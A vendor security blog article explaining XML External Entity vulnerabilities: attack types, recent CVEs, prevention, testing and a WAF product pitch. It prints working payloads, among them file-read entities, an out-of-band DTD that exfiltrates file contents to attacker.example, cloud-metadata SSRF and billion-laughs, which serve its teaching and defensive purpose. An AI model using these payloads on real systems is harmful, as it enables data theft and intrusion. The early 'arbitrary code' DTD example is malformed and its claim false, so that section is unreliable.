Web Application Security

XML External Entity (XXE): How to Identify and Fix Vulnerabilities

10 min read Updated

What Is an XXE Vulnerability?

An XXE (XML External Entity) vulnerability is a misconfiguration in an XML parser that lets it load external resources named inside the XML it processes. If the application accepts XML from users, an attacker can make the parser read local files, send requests to internal systems or exhaust server memory.

Think of a form that asks for your name. Instead of a name, you write “go to the filing cabinet and copy the contents of folder 12 here.” If the clerk follows that instruction, you have an XXE vulnerability.

The root cause is a parser feature called an external entity. XML lets a document define shortcuts (entities) in a DOCTYPE declaration. An external entity points to a file path or URL, and the parser fetches that resource when it reads the document. Many XML parsers, especially older ones, resolve external entities by default.

XXE is part of the OWASP Top 10. It falls under A02:2025 Security Misconfiguration, which lists CWE-611 (Improper Restriction of XML External Entity Reference) as a notable weakness (OWASP). XXE had its own category in the 2017 list and was merged into Security Misconfiguration in 2021.

XXE affects any software that parses XML. That includes SOAP and REST APIs that accept XML, SAML single sign-on, RSS feeds and file uploads in XML-based formats such as SVG, DOCX, XLSX and PDF forms.

What Is an XXE Attack?

An XXE attack exploits an XXE vulnerability by sending XML that defines a malicious external entity. When the parser resolves the entity, it fetches a file or URL the attacker chose and often places the result in the application’s response.

How an XXE attack works

  1. The attacker finds an endpoint that accepts XML. This can be an API body, a SOAP request or an uploaded file.
  2. The attacker adds a DOCTYPE declaration that defines an external entity pointing to a sensitive resource.
  3. The attacker references that entity inside a field the application displays or processes.
  4. The parser resolves the entity and fetches the resource.
  5. The application returns the resource content, or the attacker extracts it through another channel.

An Example of XXE Attack

what is an XXE Attack?

Suppose an application accepts XML input from untrusted sources and uses an XML parser that supports external entities. The application parses an XML file containing user input and returns the results to the user.

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

In this XXE example, the XML input defines an external entity “xxe” that points to a local file “/etc/passwd” on the server.

When the XML parser encounters the “xxe” entity reference, it retrieves the local file’s contents and includes it in the parsed XML document. The attacker can then use this technique to read sensitive data stored in the file, such as usernames and passwords.

Alternatively, the attacker can use the following payload to execute arbitrary code on the server:

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://acme.com/payload.dtd">
]>
<foo>&xxe;</foo>

In this example, the XML input defines an external entity “xxe” that points to a remote document type definition (DTD) file “http://acme.com/payload.dtd” controlled by the attacker. The DTD file includes a parameter entity that defines a command to execute arbitrary code on the server, such as:

<!ENTITY % remote SYSTEM "http://acme.com/malware.bin">
<!ENTITY % cmd "<!ENTITY &#x25;#x25; error SYSTEM 'file:///dev/null'>&#x25;#x25;error">

When the XML parser encounters the “xxe” entity reference, it retrieves the contents of the remote DTD file and includes the code in the parsed XML document.

The parser then expands the parameter entity defined in the DTD file, which results in the execution of the arbitrary code defined in the “cmd” entity. The attacker can use this technique to take control of the server and perform malicious activities, such as stealing sensitive data or launching further attacks.

Can XXE lead to remote code execution?

Sometimes, but less often than many guides claim. XXE is mainly a file read, SSRF and denial-of-service vulnerability. Remote code execution (RCE) requires extra conditions:

  • PHP with the expect extension: An entity such as SYSTEM "expect://id" runs a system command. The extension is rarely installed in production.
  • Chaining with another vulnerability: XXE can leak credentials or reach an internal service that has a command injection vulnerability. Researchers chained SysAid’s XXE vulnerabilities with a separate command injection bug to achieve unauthenticated RCE.
  • Stolen secrets: Files read through XXE, such as SSH keys or cloud credentials, can give the attacker direct access to the server.

Treat any XXE vulnerabilities as critical. The path from file read to full compromise is often short.

Most Common Types of XXE Attacks

XXE attacks differ in how the attacker gets data out and where the malicious XML enters the application.

Type Attacker sees the result? Main goal
In-band (classic) XXE Yes, in the response Read files
XXE to SSRF Often Reach internal systems
Blind XXE (out-of-band or error-based) No Read files through a side channel
XInclude attack Yes Read files when the DOCTYPE cannot be controlled
XXE via file upload Depends Read files, SSRF
XXE in SOAP and SAML Depends Read files, bypass authentication
Billion laughs (entity expansion) No Denial of service

1. In-band (classic) XXE

The attacker defines an external entity and reads the result directly in the application’s response. It is the easiest type to find and exploit.

2. XXE to SSRF

The external entity points to an internal URL. The server sends the request on the attacker’s behalf. This exposes services that are not reachable from the internet, such as cloud metadata endpoints, databases with HTTP interfaces and internal admin tools.

3. Blind XXE

In blind XXE, the application parses the entity but never shows the result. Attackers use two techniques to extract data anyway.

Out-of-band (OOB) XXE makes the server send the data to an attacker-controlled server over HTTP or DNS. The attacker hosts a malicious DTD:

<!-- evil.dtd on attacker.example -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/?d=%file;'>">
%eval;
%exfil;

Then sends a payload that loads it using a parameter entity:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe;]>
<foo>test</foo>

The server fetches the DTD, reads the file and sends its contents to the attacker in a URL.

Error-based XXE forces the parser to throw an error that contains the file contents. For example, the malicious DTD points to a nonexistent file path that includes the stolen data. The application’s error message then leaks it.

4. XInclude attacks

Sometimes the attacker controls only one value inside an XML document the server builds. They cannot add a DOCTYPE. XInclude, an XML feature for merging documents, can still read files:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

5. XXE via file upload

Many common file formats are XML underneath. SVG images are XML. DOCX, XLSX and PPTX files are ZIP archives of XML files. PDF forms can contain XFA data, which is XML. If the server parses an uploaded file with an unsafe parser, a malicious file triggers XXE. An SVG example:

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg"><text x="10" y="20">&xxe;</text></svg>

If the server renders the image, the hostname appears in it. The Apache Tika vulnerability below used this path through PDF files.

6. XXE in SOAP and SAML

SOAP web services exchange XML by design, so every SOAP endpoint is a potential XXE entry point. SAML single sign-on also passes XML assertions between systems. An XXE in a SAML parser can expose files on the identity provider or service provider.

7. Billion laughs (entity expansion)

This attack needs no external resource. It defines entities that reference each other in layers, so a tiny document expands into gigabytes in memory:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!-- continues through lol9 -->
]>
<lolz>&lol9;</lolz>

Each level multiplies the size by ten. At nine levels, the parser tries to build about a billion copies of “lol” and runs out of memory. The result is a denial of service.

XXE Payloads: A Quick Reference

These are the most common XXE payload patterns. Testers use them as a starting point. Defenders should confirm their parser configuration blocks every one.

Payload pattern What it does
SYSTEM "file:///etc/passwd" Reads a local file on Linux
SYSTEM "file:///c:/windows/win.ini" Reads a local file on Windows
SYSTEM "file:///proc/self/environ" Reads environment variables, which may hold secrets or API keys
SYSTEM "http://internal-host:8080/admin" Sends an internal request (SSRF)
SYSTEM "http://169.254.169.254/latest/meta-data/" Targets the AWS metadata service to steal cloud credentials (IMDSv1)
<!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe; Loads a remote DTD for blind or out-of-band XXE
<xi:include parse="text" href="file:///etc/passwd"/> XInclude attack when the DOCTYPE cannot be controlled
SYSTEM "php://filter/convert.base64-encode/resource=index.php" Reads PHP source code as base64, which avoids XML parsing errors
SYSTEM "expect://id" Runs a command in PHP, only if the expect extension is installed
Nested internal entities (&lol9;) Billion laughs denial of service

A secure parser rejects or ignores all of these. If any one returns data, an error with file content or an outbound request in your logs, the parser is vulnerable.

High Profile XXE Hacks

XXE vulnerabilities keep appearing in widely used software. These cases show how they spread through libraries and how fast attackers exploit them.

Apache Tika (CVE-2025-66516, 2025)

CVE-2025-66516 is a CVSS 10.0 XXE vulnerability in Apache Tika, a toolkit that extracts text and metadata from documents. A malicious PDF with crafted XFA (XML Forms Architecture) data triggers it. The vulnerability is in tika-core versions 1.13 through 3.2.1, and the fix is in version 3.2.2.

It expanded an earlier CVE from August 2025 (CVE-2025-54988). Teams that patched only the PDF parser module stayed vulnerable because the root cause was in tika-core (SecurityWeek). Tika runs inside search engines, content management systems and document pipelines, often with no direct user interface. The lesson: XXE risk lives in every third-party library that parses XML, beyond your own code.

SysAid On-Prem (CVE-2025-2775 and CVE-2025-2776, 2025)

Two pre-authentication XXE vulnerabilities in SysAid’s on-premise IT service management software allowed administrator account takeover and file reads. Both carry a CVSS score of 9.3. CISA added them to its Known Exploited Vulnerabilities catalog in July 2025, confirming exploitation in the wild (The Hacker News).

Researchers at watchTowr showed the XXE bugs could lead to remote code execution when chained with a separate command injection vulnerability. SysAid fixed them in version 24.4.60, released in March 2025.

Facebook (2014)

A researcher found an XXE vulnerability in the page Facebook used to handle OpenID logins. It let him read files from Facebook’s servers. Facebook deployed a short-term fix in under four hours. After the researcher explained how the bug could be escalated, Facebook classified it as potential remote code execution and paid a $33,500 bounty, its largest at the time (Help Net Security). The same OpenID parsing issue also affected Google services.

XXE Prevention: How to Stop XXE Attacks

Preventing XML External Entity attacks requires a combination of secure coding practices, proper configuration, and ongoing vigilance. Here are the most effective controls:

1. Make secure parser settings the default

Wrap XML parsing in one shared, hardened helper and require all code to use it. Add a static analysis (SAST) rule that flags direct parser creation. This stops new code from reintroducing unsafe defaults.

2. Use simpler data formats where possible

JSON has no entity feature, so it cannot carry XXE. For new APIs, prefer JSON. For existing XML endpoints, check whether the client truly needs XML.

3. Validate XML input

Reject any request that contains a DOCTYPE declaration when your application does not expect one. Where possible, validate documents against a strict XML schema (XSD) before processing. Validation reduces exposure. Parser hardening is still required.

4. Patch XML libraries and dependencies continuously

Many XXE vulnerabilities come from third-party code, as the Apache Tika case shows. Track every component that parses XML, including document converters and PDF tools. Use software composition analysis to flag vulnerable versions, and patch on a regular cycle.

5. Run parsers with least privilege

Run XML processing under a restricted service account with access only to the files it needs. A parser running as root can read any file on the server. A restricted account limits what an XXE attack can reach.

6. Block unnecessary outbound traffic

Servers that parse XML rarely need to make arbitrary outbound requests. Egress filtering blocks out-of-band data theft and limits SSRF. On AWS, enforce IMDSv2 so metadata requests require a token that XXE cannot supply.

7. Monitor and log XML processing

Log parser errors, DOCTYPE declarations in requests and unexpected outbound connections from application servers. Alert on references to sensitive paths such as /etc/passwd or cloud metadata IPs. These signals often reveal XXE probing before an attack succeeds.

8. Use a WAF for virtual patching

Some XXE vulnerabilities cannot be fixed immediately, such as those in vendor software or legacy systems. A web application firewall (WAF) can block XXE payloads in requests while the code fix is in progress.

How to Test for XXE Vulnerabilities

Testing for XXE combines automated scanning with manual checks for the variants scanners miss.

1. Map every XML entry point

List all places your application accepts XML. Include API bodies, SOAP endpoints, SAML assertions, RSS imports and file uploads (SVG, DOCX, XLSX, PDF). Also test JSON endpoints by changing the Content-Type header to application/xml. Some frameworks accept both formats silently.

2. Identify the parser behind each endpoint

Different parsers have different defaults. Audit your dependencies and confirm the configuration of each parser explicitly.

3. Run automated scans

Run automated scanners (DAST) against your application on a regular schedule. They catch common in-band XXE patterns quickly and consistently across endpoints.

4. Run manual penetration tests

Automated tools find common patterns. Skilled penetration testers find what they miss. Manual XXE test cases should include:

  • Basic entity test: Define an internal entity with a harmless value and check whether it is expanded in the response.
  • File read: Submit an external entity pointing to a known file (/etc/hostname or c:/windows/win.ini) and check the response.
  • Error analysis: Check whether error messages leak parser details or file content.
  • Blind and out-of-band XXE: Submit a payload with a callback URL to a server you control. A DNS or HTTP hit confirms the parser resolved the entity even when nothing appears in the response.
  • XInclude and file upload: Test values inside server-built XML and uploaded files, where a DOCTYPE cannot be added directly.

5. Re-test after every major change

New features often add new XML processing paths that inherit old parser settings. Include XXE payloads in your regression tests.

How to Patch an XXE Vulnerability

Once a vulnerability is confirmed, remediation follows a clear path:

Upgrade the XML parser: If the XML parser being used by the application or system is known to be vulnerable to XXE attacks, upgrade to a more secure version of the parser. Some parsers have options to disable external entity processing, which can help prevent XXE attacks.

Sanitize user input: To prevent malicious input from being included in XML documents, validate, and sanitize all user input before including it in an XML document.

Implement access controls:Implement access controls to limit access to sensitive resources and prevent unauthorized access. This can help mitigate the impact of XXE attacks.

Monitor for suspicious activity: Monitor the application or system for suspicious activity, such as attempts to access sensitive files or execute arbitrary code. This can help find XXE attacks in real-time.

As with the vulnerability detection process, the vulnerability patching must be continuous. With dedicated sprints for patching, you will always be on top of open vulnerabilities that your automated scanners and pen testers find.

How AppTrana WAF Blocks XXE Attacks

Not all XXE vulnerabilities can be patched immediately. Third-party plugins, legacy dependencies, or vendor timelines sometimes mean a code fix is weeks or months away. Virtual patching on the WAF protects the application while the underlying issue is resolved.

AppTrana protects against XXE through five layers:

  1. Signature-based detection: Incoming XML payloads are compared against a continuously updated database of known XXE patterns. Matching requests are blocked before they reach the application.
  2. Protocol validation: AppTrana validates that incoming XML documents conform to the expected schema or DTD. Documents that deviate, including those with unexpected DOCTYPE declarations are blocked.
  3. Input validation: AppTrana scans incoming user input for common XXE payload patterns and blocks requests containing them before they are parsed by the application.
  4. Parameterized query enforcement: For database-related XML processing, AppTrana mandates parameterized queries, preventing malicious XML payloads from reaching query execution.
  5. XML parsing protection (on by default): External entity processing is disabled at the WAF layer. This is active from day one, no configuration required.

Start a free trial to see how AppTrana blocks XXE and other OWASP Top 10 attacks.

Stay tuned for more relevant and interesting security articles. Follow Indusface on Facebook, Twitter, and LinkedIn.

Phani Deepak Akella
Phani Deepak Akella

Phani heads the marketing function at Indusface. He handles product marketing and demand generation. He has worked in the product marketing function for close to a decade and specializes in product launches, sales enablement and partner marketing. In the application security space, Phani has written about web application firewalls, API security solutions, pricing models in application security software and many more topics.

Frequently Asked Questions (FAQs)

XXE and SSRF are distinct vulnerabilities but are often chained together. XXE is a flaw in XML parsing; SSRF is a flaw that allows an attacker to make the server send requests to internal or external URLs. An XXE vulnerability can be used to trigger SSRF by defining an external entity that points to an internal URL, effectively turning a parser flaw into a network-level attack.

An XXE attack works in four steps. First, the attacker identifies an application that accepts XML input. Second, they craft a malicious XML payload containing a DOCTYPE declaration with an external entity pointing to a sensitive resource. Third, they submit the payload to the application. Fourth, the XML parser resolves the entity and returns the contents of the referenced resource, such as a local file or an internal network response.

An attacker who successfully exploits an XXE vulnerability can read sensitive files from the server filesystem, perform server-side request forgery to reach internal services, steal cloud credentials from metadata endpoints, exfiltrate data covertly over DNS or HTTP, and in some cases cause a denial-of-service by triggering exponential entity expansion. In severe cases, XXE can lead to full server compromise.

The most effective way to prevent XXE attacks is to disable external entity processing in your XML parser at the configuration level. In Java, set the relevant DocumentBuilderFactory features to false. In .NET, set ProhibitDtd to true. In PHP, call libxml_disable_entity_loader(true). Beyond parser hardening, validate all XML input, use modern parser libraries with secure defaults, enforce least-privilege access for parsing processes, and use a WAF for virtual patching when a code fix is not immediately possible.

Blind XXE is a variant of XXE attack where the attacker receives no direct output in the application response. Instead, they use out-of-band techniques such as DNS lookups or HTTP callbacks to confirm that the parser resolved the external entity and to exfiltrate data. Blind XXE is harder to detect and is commonly used when the application does not return parsed content to the user.

XML injection involves inserting malicious content into XML data to alter the document structure or application logic, typically targeting the application layer. XXE is a specific type of XML attack that exploits the parser itself by referencing external entities, targeting the infrastructure layer. XXE is generally considered more severe because it can reach the server filesystem and internal network, not just manipulate application data.

Testing for XXE involves submitting crafted XML payloads with external entity references to every endpoint that accepts XML input, including file uploads, API requests, and SOAP services. Submit a payload referencing a local file and check whether the response contains file contents. For blind XXE, use an out-of-band callback server and monitor for DNS or HTTP hits. Automated DAST tools such as Indusface WAS can scan for XXE across all endpoints systematically. Retest after every significant code change.